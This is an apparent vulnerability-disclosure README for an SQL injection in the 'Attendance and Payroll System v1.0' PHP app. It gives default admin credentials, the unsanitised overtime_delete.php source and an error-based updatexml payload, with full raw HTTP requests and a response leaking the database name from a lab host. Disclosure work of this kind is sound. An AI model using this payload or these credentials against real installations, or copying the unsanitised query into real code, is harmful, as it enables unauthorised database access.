

main

...

bug_report / bug_e / README.md



debug601 Create README.md

History

1 contributor

36 lines (26 sloc) | 1.46 KB

...

Attendance and Payroll System v1.0 - SQL injection

username:nurhodelta password:password ----> {ip}apsystem/admin/index.php

Supplier: <https://www.sourcecodester.com/php/12268/attendance-and-payroll-system-using-php.html>

\admin\overtime_delete.php has SQL injection

Payload: id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&delete=

SQL injection because id can be closed

```
overtime_delete.php
1  <?php
2      include 'includes/session.php';
3
4      if(isset($_POST['delete'])) {
5          $id = $_POST['id'];
6          $sql = "DELETE FROM overtime WHERE id = '$id'";
7          echo $sql;
8          if($conn->query($sql)) {
9              $_SESSION['success'] = 'Overtime deleted successfully';
10             }
11             else {
12                 $_SESSION['error'] = $conn->error;
13             }
14         }
15         else {
16             $_SESSION['error'] = 'Select item to delete first';
17         }
18
19         header('location: overtime.php');
20
21     ?>
```

POST /apsystem/admin/overtime_delete.php HTTP/1.1
Host: 192.168.1.17
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.1.17/apsystem/admin/overtime.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta
Connection: close

id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--&delete=



Request

RawParamsHeadersHex

POST /apssystem/admin/overtime_delete.php
HTTP/1.1
Host: 192.168.1.17
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.17/apssystem/admin/overtime.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nud4pa7qt6oo5od13120a4bta
Connection: close

id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--&delete=

Response

RawHeadersHex

HTTP/1.1 302 Found
Date: Mon, 21 Mar 2022 08:45:40 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: overtime.php
Content-Length: 96
Connection: close
Content-Type: text/html; charset=UTF-8

DELETE FROM overtime WHERE id = '5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--

← → ↺

⚠ 不安全 | 192.168.1.17/apssystem/admin/overtime.php

📁 靶场平台

🌐 翻译

📁 java代码审计资源


🔗 源码下载站 - 软件...

🔄 漏洞时代 - 最新漏...

👤 V

TechSoft IT


≡



尼奥维奇·德维尔特

● 在线的

报告

 仪表板

管理

👤 出登录

随着时间的推移

⚠ 错误!

XPath 语法错误: '~apssystem~'

+新的